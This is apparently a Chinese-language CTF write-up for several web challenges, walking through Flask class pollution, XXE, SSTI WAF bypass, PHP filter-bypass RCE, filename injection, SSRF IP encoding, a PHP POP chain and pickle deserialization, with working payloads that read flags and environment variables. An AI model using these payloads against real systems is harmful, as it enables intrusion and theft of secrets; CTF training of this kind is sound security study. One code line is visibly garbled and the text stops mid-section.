Lemon
ctrl + u 查看源码拿到 flag:
<!-- flag{68fa59ad-46ee-47e8-84ee-286fd0d6380c} -->
Lemon_Revenge
app.py:
from flask import Flask,request,render_template
import json
import os
app = Flask(__name__)
def merge(src, dst):
for k, v in src.items():
if hasattr(dst, '__getitem__'):
if dst.get(k) and type(v) == dict:
merge(v, dst.get(k))
else:
dst[k] = v
elif hasattr(dst, k) and type(v) == dict:
merge(v, getattr(dst, k))
else:
setattr(dst, k, v)
class Dst():
def __init__(self):
pass
Game0x = Dst()
@app.route('/',methods=['POST', 'GET'])
def index():
if request.data:
merge(json.loads(request.data), Game0x)
return render_template("index.html", Game0x=Game0x)
@app.route("/<path:path>")
def render_page(path):
if not os.path.exists("templates/" + path):
return "Not Found", 404
return render_template(path)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=9000)
先补充前置知识:
__class__(类引用)
在 Python 中,一切皆对象。每个实例对象都有一个__class__属性,它指向创建该实例的类本身。- 实例:
python class Demo: pass obj = Demo() print(obj.__class__) # 输出: <class '__main__.Demo'>- 点号(
.): Python 中的属性访问运算符。obj.xxx的意思就是让解释器去obj这个对象内部的命名空间里,查找名为xxx的变量或函数。 __main__: 这是模块(Module)的名称。当直接运行某个 Python 文件时,Python 会把这个文件的主作用域命名为__main__。- 模块 (Module): 在 Python 中,一个后缀为
.py的物理脚本文件,就是一个模块。 模块名就是去掉.py后缀的文件名。
这串代码通过obj.__class__,实现了从实例对象obj回溯到了类对象Demo。 - 点号(
- 实例:
__init__(初始化方法)
这是类的构造函数。在 Python 底层,__init__不仅仅是一个方法,它本身也是一个函数对象。- 实例:
python class Demo: def __init__(self): pass obj = Demo() # 访问实例的 __init__ 方法对象 print(obj.__init__) # 输出示例: <bound method Demo.__init__ of <__main__.Demo object at 0x...>> # 访问类的 __init__ 函数对象 print(Demo.__init__) print(obj.__class__.__init__) # 输出示例: <function Demo.__init__ at 0x...>def(Define): Python 的保留关键字,作用只有一个:声明并定义一个函数或方法。self: 代表当前被实例化的那个对象本身。例如在执行obj = Demo()时,会自动把obj作为参数传给self。def __init__(self): pass: 显式地把初始化方法定义出来,让它在 Python 底层变成一个真正的函数对象(Function Object),这是它后续能拥有__globals__属性的前提。
这串代码通过访问Demo.__init__或obj.__class__.__init__,证明了显式定义的初始化方法本质上就是一个独立的函数对象,拥有__globals__属性。
- 实例:
__globals__(全局命名空间引用)
这是整个 Python 类污染漏洞最核心的属性。在 Python 中,每一个函数对象都有一个__globals__属性。这个属性是一个字典,里面包含了定义该函数所在的模块(文件)中的所有全局变量。- 实例:
python yanxi = "我是yanxi来着" class Demo: def __init__(self): pass obj = Demo() # 通过实例对象 obj 的 __class__ 属性找到类,再找到其 __init__ 函数,再读取其 __globals__ 属性,再读取其中包含的全局变量 yanxi print(obj.__class__.__init__.__globals__['yanxi']) # 输出: 我是yanxi来着 # 修改 __globals__ 字典中 'yanxi' 这个键对应的值 obj.__class__.__init__.__globals__['yanxi'] = "我被篡改了!" print(yanxi) # 输出: 我被篡改了!
关键点: 这个字典不仅可读,而且可写。如果修改了字典里的值,当前文件中的全局变量就会被直接篡改。
- 实例:
接下来回归本题,代码审计和 payload 制作的思路流程如下:
- 先找入口位置(其实就是找可控路由):
路由
访问哪个网址,服务器就跑哪段代码。
比如:
python @app.route("/") def index(): return "首页"意思就是:
访问
/这个网址时,服务器就执行index()这段代码。
本题一共有两个路由:/路由:python @app.route('/',methods=['POST', 'GET']) def index(): if request.data: merge(json.loads(request.data), Game0x) return render_template("index.html", Game0x=Game0x)json.loads()
把 JSON 格式的字符串转换成 Python 能直接使用的字典或列表。
比如:
python json.loads('{"name":"yanxi"}')会变成:
python {"name": "yanxi"}第一个是类似
a = '{"name":"yanxi"}',这是一个字符串,其 type 值打印出来是<class 'str'>。第二个是类似
b = {"name":"yanxi"},这是一个 Python 字典,其 type 值打印出来是<class 'dict'>,就可以像b["name"]这样取值得到yanxi。render_template()
是 Flask 提供的函数,作用是让 Flask 去
templates目录里找指定的 HTML 模板文件,并把它渲染成网页返回给用户。
这里出现了request.data,说明程序会接收用户 POST 请求体中的数据,然后执行merge(json.loads(request.data), Game0x)。
也就是说,可以通过 POST 请求给/传入 JSON 数据,数据会被json.loads()解析成 Python 字典,然后进入merge()函数。所以本题的第一个可控入口就是:http POST /
/<path:path>路由:
这个路由与本题的漏洞不相干,可以直接跳过。python @app.route("/<path:path>") def render_page(path): if not os.path.exists("templates/" + path): return "Not Found", 404 return render_template(path)<path:path>把用户访问的后续路径全部接收下来,并保存到变量
path里。
这个路由的意思是:访问除了/以外的其他路径时,路径内容会被保存到变量path里。
比如访问/test.html,那么path = "test.html",程序会先判断templates/test.html这个文件是否存在。如果不存在,就返回Not Found和 404 状态码;如果存在,就执行render_template(path)把对应模板渲染出来。
- 定位漏洞函数:
在上一步中得知 POST 传入的 JSON 数据会被解析成 Python 字典,然后进入merge()函数。所以merge()函数极有可能是漏洞点,定位找到:python def merge(src, dst): for k, v in src.items(): if hasattr(dst, '__getitem__'): if dst.get(k) and type(v) == dict: merge(v, dst.get(k)) else: dst[k] = v elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)- 先看:
python def merge(src, dst): for k, v in src.items():items()
Python 字典的方法,作用是把字典里的键和值一组一组取出来。
这里的src就是 POST 传入的 JSON 数据解析出来的 Python 字典,dst就是实例对象Game0x,比如 POST 传入:json {"name":"yanxi"}
那么这里就是:txt k = "name" v = "yanxi"
- 然后进入判断:
python if hasattr(dst, '__getitem__'):
hasattr()
判断某个对象里面有没有指定属性。
比如
hasattr(Game0x, "__class__"),意思就是判断Game0x有没有__class__这个属性。__getitem__Python 对象里负责处理 中括号取值 的特殊方法,比如执行
a[0]或a["name"]时,底层就会调用a.__getitem__(...)。
这串代码可以简单理解成“能不能用中括号取值”。比如字典可以这样取值:python a["name"]
所以这里是在判断dst是不是支持用中括号[]取值的对象。
但源码中实际上已经给出了:python class Dst(): def __init__(self): pass Game0x = Dst()
所以Game0x是实例对象,不可能满足支持用中括号[]取值。 - 因为
Game0x是普通实例对象,所以会继续往下走:python elif hasattr(dst, k) and type(v) == dict: merge(v, getattr(dst, k)) else: setattr(dst, k, v)getattr()
用来获取某个对象的指定属性。
比如
getattr(Game0x, "__class__"),等价于Game0x.__class__。setattr()
用来给某个对象设置属性。
比如
setattr(Game0x, "name", "yanxi"),等价于Game0x.name = "yanxi"。
这里分两种情况。
第一种,如果传入的是普通属性,比如{"name":"yanxi"},那么:txt k = "name" v = "yanxi"
由于Game0x原本没有name这个属性,所以hasattr(Game0x, "name")为 False,于是会进入:python setattr(dst, k, v)
也就是等价于:python Game0x.name = "yanxi"
这说明用户可以通过 POST 传入 JSON 数据给Game0x动态添加属性。
第二种,如果传入的是对象本来就有的属性,比如{"__class__":{}}。
因为 Python 对象都有__class__属性,所以hasattr(Game0x, "__class__")结果为 True,并且{}是字典,所以会执行:python merge({}, getattr(Game0x, "__class__"))
也就是:python merge({}, Game0x.__class__)
这就会导致把用户可控的 JSON 递归写入对象属性,使得可以从实例对象一路跳到它的类对象上。
因此可以构造:python {"__class__":{"__init__":{"__globals__":{}}}}
这样就可以一路访问到:python Game0x.__class__.__init__.__globals__
- 先看:
- 替换关键信息:
通过上一步已经可以一路访问到Game0x.__class__.__init__.__globals__,而__globals__是当前app.py的全局变量字典,里面就包括前面定义的:python app = Flask(__name__)
所以我们的目标就变成了:通过污染__globals__里的app或其他关键对象,修改 Flask 的关键属性。
也就是说,payload 的前半部分基本固定为:python {"__class__":{"__init__":{"__globals__":{}}}}
后面只需要思考往__globals__里面改什么。
以下是本题可以尝试污染的关键信息:static_folderstatic_folder是 Flask 应用对象app的一个属性,它的值表示静态文件目录路径。Flask 默认会通过/static/<filename>路由去读取这个目录下的文件。
如果把app.static_folder属性的值改成根目录/,那么访问/static/flag就相当于读取/flag,例如 POST 传入 JSON 数据:json {"__class__":{"__init__":{"__globals__":{"app":{"static_folder":"/"}}}}}
这个 payload 的执行路径可以理解为:python Game0x.__class__.__init__.__globals__['app'].static_folder = "/"
具体过程是,前半部分:python __class__ -> __init__ -> __globals__ -> app
会通过递归一路找到全局变量里的 Flask 应用对象app。
到了最后一层时,相当于:python dst = Game0x.__class__.__init__.__globals__['app'] k = "static_folder" v = "/"
此时dst是 Flask 的app对象,k是static_folder,v是字符串/。
虽然app本身有static_folder这个属性,但是/是字符串,不是字典,所以这里不会继续进入:python merge(v, getattr(dst, k))
而是进入:python setattr(dst, k, v)
也就是等价于:python setattr(app, "static_folder", "/")
最终效果就是:python Game0x.__class__.__init__.__globals__['app'].static_folder = "/"
也就是把 Flask 静态文件目录改成根目录/。所以后续访问/static/flag,Flask 就会去根目录下读取/flag。
但很可惜这个 payload 失败了,应该是因为static_folder默认是只读属性,把 payload 里的static_folder改成_static_folder即可:json {"__class__":{"__init__":{"__globals__":{"app":{"_static_folder":"/"}}}}}
传入后再在 bp 中以 GET 方法访问/static/flag,返回 500,估计是权限不足,改成访问/static/proc/1/environ,得到 flag。os.path.pardiros.path.pardir表示上级目录,也就是..。
在一些 Flask / Python 文件读取逻辑中,会用os.path.pardir来判断用户路径里是否存在目录穿越符号。如果可以通过类污染把os.path.pardir的值从..改成其他字符,比如!,那么原本针对..的路径穿越检测就可能失效。比如传入:json {"__class__":{"__init__":{"__globals__":{"os":{"path":{"pardir":"!"}}}}}}
它等价于修改:python Game0x.__class__.__init__.__globals__['os'].path.pardir = "!"
也就是把 Python 里表示“上级目录”的关键值从..改成了!。
污染之后,就可以尝试使用目录穿越去读 flag,例如访问../../../proc/1/environ得到 flag。
ez_signin
查看源码送 flag。
Http的真理,我已解明
提示依次为:
1. 用GET传递 hello=web 2. POST传递 http=good 3. 设置cookie Sean=god 4. 请使用Safari浏览器访问 5. 请从www.mihoyo.com访问本页面,否则你的原石啊这些全都别想要了 6. 请使用clash这只猫猫来代理一下
如图依次构造请求:

留言板(粉)
提示:
登录请附带login.php
访问 /login.php ,是个登录界面。
进行弱密码爆破得到账号密码为 admin/admin123 ,进去后是一个 Message 界面,随意输入一个 111 但是出现了 DOMDocument::loadXML() 的报错,说明这里需要输入 XML 格式,考点应该是 XXE,输入:
<!DOCTYPE xixi[<!ENTITY xxe SYSTEM "file:///flag">]>
<root>
<yanxi>&xxe;</yanxi>
</root>
拿到 flag。
404NotFound
访问 /flag 返回:
404 Not Found 404 Error: The requested URL /flag was not found on this server.
这不是正常的 404,一般 404 不会回显不存在的 /flag 路径,而且 Wappalyzer 插件有反应,显示是 Flask 框架。
猜测存在 SSTI,访问 /{{7*7}} 返回:
404 Not Found 404 Error: The requested URL /49 was not found on this server.
证实存在 SSTI,访问 /{{url_for.__globals__['os'].popen('cat /flag').read()}} 返回:
404 Not Found 404 Error: The requested URL / 本来只想随便搞一个404的,没想到遇到了嗨客 was not found on this server.
看来是触发 waf 了,经测试有一大堆关键词和小数点 . 全在黑名单,可以通过访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('cat /flag')['read']()}} 绕过,但是返回:
404 Not Found 404 Error: The requested URL / was not found on this server.
什么都没有,再尝试访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('ls /')['read']()}} ,这次返回:
404 Not Found 404 Error: The requested URL /app bin boot dev entrypoint.sh etc flag home lib lib64 media mnt opt proc root run sbin srv sys tmp usr var was not found on this server.
意识到拿不到 flag 可能是权限不足,试试访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('cat /flag 2>&1')['read']()}},返回:
404 Not Found 404 Error: The requested URL /cat: /flag: Permission denied was not found on this server.
这下确认是权限不足了。
先看看环境变量能不能拿到 flag,访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('env')['read']()}} ,得到 flag。
也可以访问 /{{url_for['__glo''bals__']['o''s']['po''pen']('cat /proc/1/environ')['read']()}},同样拿到 flag。
RCE1
<?php
error_reporting(0);
highlight_file(__FILE__);
$rce1 = $_GET['rce1'];
$rce2 = $_POST['rce2'];
$real_code = $_POST['rce3'];
$pattern = '/(?:\d|[\$%&#@*]|system|cat|flag|ls|echo|nl|rev|more|grep|cd|cp|vi|passthru|shell|vim|sort|strings)/i';
function check(string $text): bool {
global $pattern;
return (bool) preg_match($pattern, $text);
}
if (isset($rce1) && isset($rce2)){
if(md5($rce1) === md5($rce2) && $rce1 !== $rce2){
if(!check($real_code)){
eval($real_code);
} else {
echo "Don't hack me ~";
}
} else {
echo "md5 do not match correctly";
}
}
else{
echo "Please provide both rce1 and rce2";
}
?>
rce1 和 rce2 要满足:
md5($rce1) === md5($rce2) && $rce1 !== $rce2
- 如果环境是 PHP 7.x,可以用数组让 md5(array) 返回 NULL,从而满足 NULL === NULL。
- 如果是 PHP 8+,这个方法会触发 TypeError,不能直接用数组绕过。
这里用数组绕过即可。
至于 rce3,过滤了数字、一堆特殊符号和关键词。
叽里咕噜写这么多写啥呢,当无字母数字 RCE 了,传入:
GET: ?rce1[]=1 POST: rce2[]=2&rce3=(~'%8c%86%8c%8b%9a%92')(~'%9c%9e%8b%df%d0%99%93%9e%98');
也可以当成无参数 RCE 做,比如:
GET: ?rce1[]=1
POST: rce2[]=2&rce3=eval(end(getallheaders()));
请求头最后面加上 yanxi: system('cat /flag');
或者用 exec 或反引号替代被过滤的 system 实现命令执行,用通配符 ? 绕过 flag,再用 print 之类的函数打印出来就行了,比如:
GET: ?rce1[]=1 POST: rce2[]=2&rce3=print(`tac /f???`);
GET: ?rce1[]=1
POST: rce2[]=2&rce3=print(exec('tac /f???'));
甚至是:
GET: ?rce1[]=1 POST: rce2[]=2&rce3=?><?=`tac /f???`;
我只想要你的PNG
查看源码发现:
<!-- check.php -->
访问 /check.php ,返回:
bin boot dev etc home lib media sbin mnt opt proc root run srv sys tmp usr var flag
这很明显是 ls / 执行的结果, 这是暗示存在命令执行的漏洞。
传含一句马的 1.png 后用 bp 抓包并改后缀上传,但仍然不通过。只上传 1.png 不改后缀,返回:
Avatar Saved At : uploads/4984a3c18453ce759b308d7412bcf413.png
但访问后却返回 404。但此时再访问 /check.php ,发现返回:
bin boot dev etc home lib media sbin mnt opt proc root run srv sys tmp usr var flag 1.png.
回忆题目提示:
上传你的头像!虽然上传了我也不想用也不想让你看
或许文件上传的内容根本不重要,真正的注入点在文件名。
但上传 <?php system('cat /flag')?>.png 是不现实的,因为 Linux 文件名不能出现 / ,否则会被截断。
所以尝试上传 <?php system('env')?>.png ,得到 flag。
DNS想要玩
from flask import Flask, request
from urllib.parse import urlparse
import socket
import os
app = Flask(__name__)
BlackList = [
'localhost', '@', '172', 'gopher', 'file', 'dict', 'tcp', '0.0.0.0', '114.5.1.4'
]
def check(url):
url = urlparse(url)
host = url.hostname
host_acscii = host.encode('idna').decode('utf-8')
return socket.gethostbyname(host_acscii) == '114.5.1.4'
@app.route('/')
def index():
return open(__file__).read()
@app.route('/ssrf')
def ssrf():
raw_url = request.args.get('url')
if not raw_url:
return 'URL Needed'
for u in BlackList:
if u in raw_url:
return 'Invaild URL'
if check(raw_url):
return os.popen(request.args.get('cmd')).read()
else:
return "NONONO"
if __name__ == '__main__':
app.run(host='0.0.0.0', port=8000)
过滤了:
'localhost', '@', '172', 'gopher', 'file', 'dict', 'tcp', '0.0.0.0', '114.5.1.4'
要满足 == '114.5.1.4' ,可以用十进制 1912930564 ,访问:
/ssrf?url=http://1912930564&cmd=cat /flag
或者十六进制 0x72050104,访问:
/ssrf?url=http://0x72050104&cmd=cat /flag
也可以利用 nip.io 这个通配 DNS 服务绕过,原理是其支持把域名中嵌入的 IP 解析出来,且横线写法会被 nip.io 的 DNS 服务器识别成 IP,比如:
/ssrf?url=http://114-5-1-4.nip.io&cmd=cat /flag
Rubbish_Unser
<?php
error_reporting(0);
highlight_file(__FILE__);
class ZZZ
{
public $yuzuha;
function __construct($yuzuha)
{
$this -> yuzuha = $yuzuha;
}
function __destruct()
{
echo "破绽,在这里!" . $this -> yuzuha;
}
}
class HSR
{
public $robin;
function __get($robin)
{
$castorice = $this -> robin;
eval($castorice);
}
}
class HI3rd
{
public $RaidenMei;
public $kiana;
public $guanxing;
function __invoke()
{
if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei))
return $this -> guanxing -> Elysia;
}
}
class GI
{
public $furina;
function __call($arg1, $arg2)
{
$Charlotte = $this -> furina;
return $Charlotte();
}
}
class Mi
{
public $game;
function __toString()
{
$game1 = @$this -> game -> tks();
return $game1;
}
}
if (isset($_GET['0xGame'])) {
$web = unserialize($_GET['0xGame']);
throw new Exception("Rubbish_Unser");
}
?>
- 先看程序入口:
php if (isset($_GET['0xGame'])) { $web = unserialize($_GET['0xGame']); throw new Exception("Rubbish_Unser"); }
虽然反序列化后面跟了一个:php throw new Exception("Rubbish_Unser");
但本题不需要专门绕过这个异常。 - 找链子终点:
终点在HSR::__get()里面的eval()。php class HSR { public $robin; function __get($robin) { $castorice = $this -> robin; eval($castorice); } }__get()
用于访问不存在或者不可访问(protected/private)的属性时被调用。
这里的关键代码是:php eval($castorice);
如果让$this->robin = "system('env');",那么最后就相当于执行eval("system('env');");。 - 触发
HSR::__get():
找到HI3rd::__invoke():php class HI3rd { public $RaidenMei; public $kiana; public $guanxing; function __invoke() { if($this -> kiana !== $this -> RaidenMei && md5($this -> kiana) === md5($this -> RaidenMei) && sha1($this -> kiana) === sha1($this -> RaidenMei)) return $this -> guanxing -> Elysia; } }__invoke()
当尝试以调用函数的方式调用一个对象时,会自动触发该方法。
这里的关键代码是:php return $this -> guanxing -> Elysia;
如果让:php HI3rd::$guanxing = new HSR()
那么访问不存在的Elysia属性时,就会触发HSR::__get()。
但前提是必须通过 if 条件的强比较限制:php $this->kiana !== $this->RaidenMei && md5($this->kiana) === md5($this->RaidenMei) && sha1($this->kiana) === sha1($this->RaidenMei)
这里容易想到直接数组绕过,比如:php HI3rd::$kiana = [1] HI3rd::$RaidenMei = [2]
但是实际上,数组绕过是错误的(排错半天居然是这里阴我)。- 在 PHP 7.x 中:
md5(数组)和sha1(数组)都会返回NULL并触发一个 Warning。因为NULL === NULL,且[1] !== [2],所以可以绕过。 - 在 PHP 8.0+ 中: PHP 引入了更严格的类型检查。如果向
md5()或sha1()传入数组,不再返回NULL,而是直接抛出TypeError致命错误(Fatal error: Uncaught TypeError: md5(): Argument #1 ($string) must be of type string, array given)。
为了在 PHP 8+ 中稳定绕过$a !== $b && md5($a) === md5($b),这里提供两种解法:- 利用浮点数
NAN(Not A Number)的特性。
在 PHP 中(无论是 PHP 7 还是 8),根据 IEEE 754 标准,NAN与任何值都不相等,包括它自己。NAN !== NAN的结果为true。- 当
NAN被传入md5()时,会被强制转换为字符串"NAN"。 md5("NAN") === md5("NAN")的结果为true。
只需将$kiana和$RaidenMei都赋值为NAN,就能完美满足所有条件且不会引发任何报错,即:php HI3rd::$kiana = NAN HI3rd::$RaidenMei = NAN
- 利用
Exception::__toString()绕过 hash。
还可以利用 PHP 内置类Exception。
可以把Exception理解成 PHP 内置的“异常对象”。它一般这样创建:php new Exception("message报错信息", code错误码);
由于两个不同的Exception对象本身肯定不是同一个对象,所以:php $this->kiana !== $this->RaidenMei
可以成立。
但是当对象被传入md5()和sha1()时,会触发对象的字符串转换,也就是调用Exception::__toString()。Exception::__toString()的结果与message、文件名、行号、调用栈等有关,但不会把code参数算进去。所以可以构造两个message为空、创建位置相同,但是code不同的Exception对象:php $a->yuzuha->game->furina->kiana=new Exception("",1);$a->yuzuha->game->furina->RaidenMei=new Exception("",2);
这两个对象本身不是同一个对象,满足!==;同时因为它们在同一行创建,message又一样,字符串化结果相同,所以:php md5($this->kiana) === md5($this->RaidenMei) sha1($this->kiana) === sha1($this->RaidenMei)
- 在 PHP 7.x 中:
- 触发
HI3rd::__invoke():
找到GI::__call():php class GI { public $furina; function __call($arg1, $arg2) { $Charlotte = $this -> furina; return $Charlotte(); } }__call()
在对象中调用一个不可访问或不存在的方法时被自动调用。
这里的关键代码是:php $Charlotte = $this -> furina; return $Charlotte();
如果让:php GI::$furina = new HI3rd()
那么$Charlotte();就会将HI3rd对象作为函数调用,从而触发HI3rd::__invoke()。 - 触发
GI::__call():
找到Mi::__toString():php class Mi { public $game; function __toString() { $game1 = @$this -> game -> tks(); return $game1; } }__toString()
当一个对象被当作字符串使用时(例如被
echo或进行字符串拼接)被自动调用。
这里的关键代码是:php $game1 = @$this -> game -> tks();
如果让:php Mi::$game = new GI()
因为GI类中不存在tks()方法,所以调用该方法时会自动触发GI::__call()。 - 触发
Mi::__toString():
找到ZZZ::__destruct()作为入口点:php class ZZZ { public $yuzuha; function __destruct() { echo "破绽,在这里!" . $this -> yuzuha; } }__destruct()
析构函数,在对象销毁或脚本结束时被自动调用。
这里的关键代码是:php echo "破绽,在这里!" . $this -> yuzuha;
如果让:php ZZZ::$yuzuha = new Mi()
通过.拼接字符串时,会将Mi对象当作字符串处理,从而触发Mi::__toString()。 - 编写 exp:
链子完整路径为:ZZZ::__destruct()->Mi::__toString()->GI::__call()->HI3rd::__invoke()->HSR::__get()。php <?php class ZZZ { public $yuzuha; } class HSR { public $robin = "system('env');"; } class HI3rd { public $RaidenMei = NAN; public $kiana = NAN; public $guanxing; } class GI { public $furina; } class Mi { public $game; } $a = new ZZZ(); $a->yuzuha = new Mi(); $a->yuzuha->game = new GI(); $a->yuzuha->game->furina = new HI3rd(); $a->yuzuha->game->furina->guanxing = new HSR(); echo serialize($a);
得到 payload 为:txt O:3:"ZZZ":1:{s:6:"yuzuha";O:2:"Mi":1:{s:4:"game";O:2:"GI":1:{s:6:"furina";O:5:"HI3rd":3:{s:9:"RaidenMei";d:NAN;s:5:"kiana";d:NAN;s:8:"guanxing";O:3:"HSR":1:{s:5:"robin";s:14:"system('env');";}}}}}
或者:php <?php class ZZZ { public $yuzuha; } class HSR { public $robin = "system('env');"; } class HI3rd { public $RaidenMei; public $kiana; public $guanxing; } class GI { public $furina; } class Mi { public $game; } $a = new ZZZ(); $a->yuzuha = new Mi(); $a->yuzuha->game = new GI(); $a->yuzuha->game->furina = new HI3rd(); $a->yuzuha->game->furina->kiana=new Exception("",1);$a->yuzuha->game->furina->RaidenMei=new Exception("",2); $a->yuzuha->game->furina->guanxing = new HSR(); echo urlencode(serialize($a));
注:Exception序列化后生成私有/保护属性名,需要 URL 编码。
得到:txt O%3A3%3A%22ZZZ%22%3A1%3A%7Bs%3A6%3A%22yuzuha%22%3BO%3A2%3A%22Mi%22%3A1%3A%7Bs%3A4%3A%22game%22%3BO%3A2%3A%22GI%22%3A1%3A%7Bs%3A6%3A%22furina%22%3BO%3A5%3A%22HI3rd%22%3A3%3A%7Bs%3A9%3A%22RaidenMei%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A2%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A26%3A%22%2Fhome%2Fkali%2FHello_CTF%2F1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A28%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A5%3A%22kiana%22%3BO%3A9%3A%22Exception%22%3A7%3A%7Bs%3A10%3A%22%00%2A%00message%22%3Bs%3A0%3A%22%22%3Bs%3A17%3A%22%00Exception%00string%22%3Bs%3A0%3A%22%22%3Bs%3A7%3A%22%00%2A%00code%22%3Bi%3A1%3Bs%3A7%3A%22%00%2A%00file%22%3Bs%3A26%3A%22%2Fhome%2Fkali%2FHello_CTF%2F1.php%22%3Bs%3A7%3A%22%00%2A%00line%22%3Bi%3A28%3Bs%3A16%3A%22%00Exception%00trace%22%3Ba%3A0%3A%7B%7Ds%3A19%3A%22%00Exception%00previous%22%3BN%3B%7Ds%3A8%3A%22guanxing%22%3BO%3A3%3A%22HSR%22%3A1%3A%7Bs%3A5%3A%22robin%22%3Bs%3A14%3A%22system%28%27env%27%29%3B%22%3B%7D%7D%7D%7D%7D
马哈鱼商店
先随便注册个 test/111 的账号,登录进去是一个小商店。
当前有 $10000,而名为 Flag 的商品,价格为:
Price: $5000 Discount: 1
可以买一个试试,结果只得到:
0xGame{Pickle_Is_Not_Easy_Fake}
你不会真想让我给你吧
这是把我耍了,但也提示了本题是 pickle 反序列化,回到购买页面,最底下有一个名为 Pickle 的商品,价格是:
Price: $1000000 Discount: 1
但是点击 Buy 之后只会返回:
Not Enough Money
点击 Buy 的时候抓个包好了,发现存在两个 POST 参数:
pid=8&discount=1
对应的分别是商品编号和折扣,把 discount=1 改成 discount=0.00001,回显购买成功的路径 /shop_success 和响应头 Set-Cookie: session=...。
换上新的 session 并以 GET 方式访问 /shop_success,拿到一个新链接:
<a href="/pickle_dsa">
访问 /pickle_dsa 返回:
Use GET To Send Your Loved Data!!!
BlackList = [b'', b'']
@app.route('/pickle_dsa')
def pic():
data = request.args.get('data')
if not data:
return "Use GET To Send Your Loved Data"
try:
data = base64.b64decode(data)
except Exception:
return "Cao!!!"
for b in BlackList:
if b in data:
return "卡了"
p = pickle.loads(datapickle.loads(
print(p)
return f"<p>Vamos! {p}<p>"
pickle.loads()
把一段 pickle 序列化后的字节数据还原成 Python 对象,但如果数据可控,反序列化过程中可能触发函数调用导致命令执行。
这是一个典型的 pickle 反序列化,先补充前置知识:
- 序列化
序列化就是:把程序里的对象变成一串可以保存、传输的字节数据。
比如 Python 里有一个字典:python {"name": "yanxi", "money": 10000}
程序运行时,这个东西是 Python 内存里的对象。
但是如果想把它保存到文件里、放进 Cookie 里、通过网络传给别人等,就不能直接保存“对象本身”,而是要把它变成一串数据。
这个过程就是:txt 对象 -> 序列化 -> 字节数据
pickle 里对应的函数是pickle.dumps(obj),可以把 Python 对象序列化成一段 pickle 字节数据,方便保存或传输。 - 反序列化
反序列化就是反过来:txt 字节数据 -> 反序列化 -> Python 对象
pickle 里对应的函数是pickle.loads(data),比如:python import pickle data = pickle.dumps({"name": "yanxi", "money": 10000}) obj = pickle.loads(data) print(obj)
最后obj又变回了:python {"name": "yanxi", "money": 10000} - pickle 和 JSON 的区别
JSON 只能保存这些普通东西:txt 字符串 数字 列表 字典 true / false null
比如:python {"name":"yanxi","money":10000}
但是 pickle 不一样。
pickle 可以保存更复杂的 Python 对象,比如:txt 类对象 函数引用 模块引用 自定义对象 对象之间的关系
这就导致了,pickle 在反序列化时,不只是还原数据,还可能按照 pickle 指令去调用函数。 __reduce__()__reduce__()的作用是告诉 pickle 在序列化/反序列化这个对象时应该怎么做。
在反序列化利用里,经常写成:python def __reduce__(self): return (eval, ("__import__('os').popen('env').read()",))
意思就是让pickle.loads()反序列化时调用eval("__import__('os').popen('env').read()"),所以它常作为 pickle 反序列化 RCE 里“触发函数调用”的入口。
pickle 反序列化的常规利用思路是:txt 构造一个对象 ↓ 让它的 __reduce__ 返回危险函数和参数 ↓ pickle.dumps() 生成 payload ↓ 服务端 pickle.loads() 时触发
- 文本协议
protocol=0
pickle 有不同协议版本,比如:python pickle.dumps(obj, protocol=0) pickle.dumps(obj, protocol=1) pickle.dumps(obj, protocol=2) pickle.dumps(obj, protocol=3) pickle.dumps(obj, protocol=4) pickle.dumps(obj, protocol=5)
其中:txt protocol=0 是文本协议 protocol>=1 大多是二进制协议
二进制协议长这样:python b'\x80\x04\x95...'
里面有很多不可见字节。
而文本协议长这样:python csubprocess check_output (S'env' tR.
大部分都是可见字符。
如果题中出现有关某些特殊字节的黑名单,使用默认二进制 pickle,很容易被拦,而使用protocol=0文本协议,就可以尽量避开不可见字节。
回到题目本身,这里的黑名单过滤了特殊字节,需要使用 protocol=0 文本协议,提供两种做法:
- 手写
protocol=0文本协议:
比如可以手写出 payload 为:python csubprocess check_output (S'env' tR.
- 第一段:
python csubprocess check_output
这里的c是 pickle 文本协议里的一个指令。
格式是:txt c模块名 函数名
所以:python csubprocess check_output
意思就是:python subprocess.check_output
也就是把subprocess模块里的check_output函数拿出来。 - 第二段:
python (
意思是开始准备参数,相当于打一个标记,告诉 pickle 后面的东西是函数参数。 - 第三段:
python S'env'
S表示字符串。所以S'env'表示压入一个字符串"env"传给check_output()当参数。 - 第四段:
python t
意思是把刚才准备的参数打包成元组。就是把"env"变成("env",),因为 Python 调函数时,参数本质上要以元组形式传给函数。 - 第五段:
python R
意思是调用函数,R执行后就等价于:python subprocess.check_output("env") - 第六段:
python .
表示 pickle 数据结束。 - 总结:
python csubprocess check_output
拿到函数:python subprocess.check_output
然后:python ( S'env' t
准备参数:python ("env",)
然后:python R
调用:python subprocess.check_output("env")
最后:python .
结束。
把这段 payload 进行 base64 编码后传入:http /pickle_dsa?data=Y3N1YnByb2Nlc3MKY2hlY2tfb3V0cHV0CihTJ2VudicKdFIu
- 第一段:
- 利用
__reduce__编写 pickle 序列化脚本:python import pickle import base64 import subprocess class P: def __reduce__(self): return (subprocess.check_output, ("env",)) payload = pickle.dumps(P(), protocol=0) print(base64.b64encode(payload).decode())
得到:txt Y2NvbW1hbmRzCmNoZWNrX291dHB1dApwMAooVmVudgpwMQp0cDIKUnAzCi4=
或者不用subprocess模块,用更加熟悉的os模块,比如:python import pickle import base64 class P: def __reduce__(self): return (eval, ("__import__('os').popen('env').read()",)) payload = pickle.dumps(P(), protocol=0) print(base64.b64encode(payload).decode())
得到:txt Y19fYnVpbHRpbl9fCmV2YWwKcDAKKFZfX2ltcG9ydF9fKCdvcycpLnBvcGVuKCdlbnYnKS5yZWFkKCkKcDEKdHAyClJwMwou
这真的是反序列化
<?php
